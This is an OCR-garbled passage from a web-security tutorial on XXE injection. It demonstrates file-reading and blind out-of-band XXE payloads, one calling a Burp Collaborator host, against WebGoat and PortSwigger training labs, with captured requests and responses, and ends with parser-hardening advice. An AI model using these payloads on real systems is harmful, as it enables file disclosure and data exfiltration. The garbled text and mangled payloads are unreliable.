Content-Length: 16

Origin: http://127.0.0.1:8081

Connection: close

Z Referer: http://127.0.0.1:8081/WebGoat/start.mvc

Cookie: JSESSIONID=xhXa85R-Km20uZeXwGBvmlfpSx83Wf 0BCIQmueys; security lewvel=0

1

(V]

= O s

=~
[N N I R e

=
[ I Y

<7THMLT =

16 <! DOCTYPEroot[ -
17 =IEMTITYigniteSYSTEM"file:///"=

18 1=

19 =comments

20 =texts>

21 &ignite;

22 =/text>

23 -:,-‘comment:-l

We will be observing that our comment will be posted with the root file.
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(A8) Insecure Deserialization >
(A9) Vulnerable Components s
(A8:2013) Request Forgeries >
Client side »

Challenges >

In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about. So this
might result in JSON endpoints being vulnerable to XXE attacks

Again same exercise but try to perform the same XML injection as we did in first assignment.

| REQUEST YOUR
ASSISTANCE

Add a comment

) namank
o

_dockerenv bin boot dev docker-java-home etc home lib lib64 media mnt opt proc root run shin srv sys tmp
usr var

Y namank

So in this, we learnt how we can perform XML injection on JSON fields and also how we can pass
XML by manipulating its content-type.

Let us understand what happened above:

JSON is the same as XML language so we can get the same output using XML as we will expect from a
JSON request. In the above, we saw that JSON has text value, so we replaced the JSON request with
the above payload and got the root information. If we had not changed its content type to
application/XML, then our XML request would not have passed.

Blind XXE

As we have seen in the above attacks, we were seeing which field is vulnerable. But, when there is a
different output on our provided input then we can use Blind XXE for this purpose. We will be using
portswigger lab for demonstrating Blind XXE. For this, we will be using burp collaborator which is
present in BurpSuite professional version only. We are using a lab named “Blind XXE with out-of-
band interaction via XML parameter Entities”. When we visit the lab we will see a page like below:

HONE


https://www.hackingarticles.in/
https://www.linkedin.com/company/hackingarticles/
https://x.com/hackinarticles
https://github.com/Ignitetechnologies
https://discord.gg/vU2uUjrsPC

H Comprehensive Guide on XXE Injection

Web Securlty Blind XXE with out-of-band interaction via XML parameter entities

Academy|%]"  sackio ab description:

WE LIKE TO

SHOP r-JH

= f'_';_,i
v

Dancing In The Dark Paint a rainbow ZZZZZ7 Bed - Your New Home Office Folding G
W §1.48 W $66.63 B $61.31 )

View details View details View details -

Then, we will click on View details and we will be redirected to the below page in which we will be
intercepting the “check stock” request.

Description:
Are you a really, really bad dancer? Don't worry you're not alone. It is believed every

Here at 'Dancing In The Dark’, we feel your pain. The silhouette suit which allows cor
her dad embarrassing her at local events. We loved the idea so much we decided to

The stretchy, breathable, fabric enables freedom of movement and guarantees a non
toilets and change at any time you want to dance without judgment. Once wearing yc
the venue with, it might be a little too easy to identify you amongst family and friends.

With this inexpensive, but very valuable, suit you can freestyle the night away withou
discreetly pass on our details as you get your Saturday Night Fever on. Let them talk

8] check siock e

We will be getting intercepted request as below:

infe) [ "
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Send Cancel < |* > | Target: https:ffac891fa51e8d1b9c80b0e43a0056002f. we

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

\n Actions v Pretty Render \n Actions v

1 POST /product/stock HTTP/1.1 : 1 HTTR/1.1 200 OK

Z Host: ac891fa51e8d1bS9cB80b0ed3a0056002T .web- security- academy.net Z Content-Type: text/plain; charset=utf-8

= User-Agent: Mozillas5.0 (X11; Linux x86 84; rv:78.0) Gecko/20100101 Firefo = Connection: close

4 Accept: */# 4 Content-Length: 3

S Accept-Language: en-US,en;g=0.5 5

& Accept-Encoding: gzip, deflate

7 Referer: https://ac891faslegd1lboc20b0ed3a0056002f .web- security- academy.net
S Content-Type: application/xml
< Origin: https://ac891faSleddlboceob0e43a00560021 .web-security-academy.net
10 Content-Length: 107
11 Connection: close
12 Cookie: session=0nUHSEcRkSOL24haySU4]IrTENdwTd17
1z
14 =?xml version="1.0" encoding="UTF-8"7=
<stockCheck=
<productId=
1
</productIds
<storeld=
1
=/storeld=
</stockCheck=

Then, we can see that if we normally send the request, we will get the number of stocks. Now we will
fire up the burp collaborator from the burp menu and we will see the following window.

Burp Collaborator client

Click "Copy to clipboard" to generate Burp Collaborator payloads that you can use in your own testin
that result from using the payloads will appear below.

Generate Collaborator payloads

MNumber to generate: |1 [ Copy to clipboard J [] Include Collaborator server location

Poll Collaborator interactions
Poll every &0 seconds | Poll now

# 4 Time | Type | Payload

AN J-

In this, we will press the “copy to clipboard” button to copy the burp subdomain that we will be
using in our payload.

Payload that we will be using is as below:

<IDOCTYPE stockCheck [
<IENTITY % ignite SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %ignite; ]>
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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

Raw \n Actions

Raw Render \n Actions v

1 POST /product/stock HTTP/1.1 4 1 HTTP/1.1 400 Bad Reguest

Z Host: ac071fb61f3381c5080de08e0004a00d9. web-security-academy.net B > Content-Type: application/json; charset=utf-&
3 User-Agent: Mozillay/S.0 (X11; Linux xB86_64; rv:78.0) Gecko/20100101 Firefo 3 Connection: close

4 Accept: #/% 4 Content-Length: 15

S Accept-Language: en-US,en;q=0.5 =

5 Accept-Encoding: gzip, deflate
7 Referer: https://ac071fb61f381c5080de08e0004a00d9. web-security-academy.net

g Content-Type: application/xml
S Origin: https://ac071fb611381c5080de0820004a00d9. web- security - academy . net
10 Content-Length: 223
11 Connection: close
12 Coockle: session=eeefS]yUltRSKISUKZbtWpSshoBdgqiG
13
14 <7xml version="1.0" encoding="UTF-8"7=
<stockCheck=

<productIds=
<|DOCTYPE stockCheck [ ‘/
15 <!ENTITY % 1gnite SYSTEM "http://slulersbkhigg2xuqemndtqg379xxm. burp

</productId=

<storeld=

1
</storeld>
=/stockchecks=

Now we will see in Burp Collaborator, we will see that we capture some request which tells us that
we have performed Blind XXE successfully.

Generate Collaborator payloads

Mumber to generate: |1 [ Copy to clipboard J [[] Include collaborator server location

Poll Collaborator interactions

Poll every seconds | Poll now

# 4| Time | Type | Payload

1 2020-MNov-21 10:03:32 UTC DNS gnwph08817j93clodjbke5 18nztghf
2 2020-Mov-21 10:03:31 UTC DNS gnwpho8817j93clodjbkes 18nztghf
3 2020-MNov-21 10:03:32 UTC HTTP 8nwph08817j93clodjbkes 18nztghf

We will also verify that our finding is correct and we will see in the lab that we have solved it
successfully.

Web Security Blind XXE with out-of-band interaction via XML Solved -
parameter entities
Academy ]

Back to lab description

(Congratulations, you solved the lab! W Share your skills! | Continue leaming )

Mitigation Steps

e The safest way to prevent XXE is always to disable DTDs (External Entities) completely.
Depending on the parser, the method should be similar to the following:

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
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e Also, you can prevent DoS attacks by disabling DTD. If you cannot disable DTDs completely,
then disable external entities and external document type declarations in a way that’s
specific to each parser.

e Another method is using CDATA to ignore the external entities. CDATA is character data that
creates a block that the parser does not parse.

<data><!CDATA [ "'& > characters are ok in here] ]></data>

To learn more about Website Hacking. Follow this Link.
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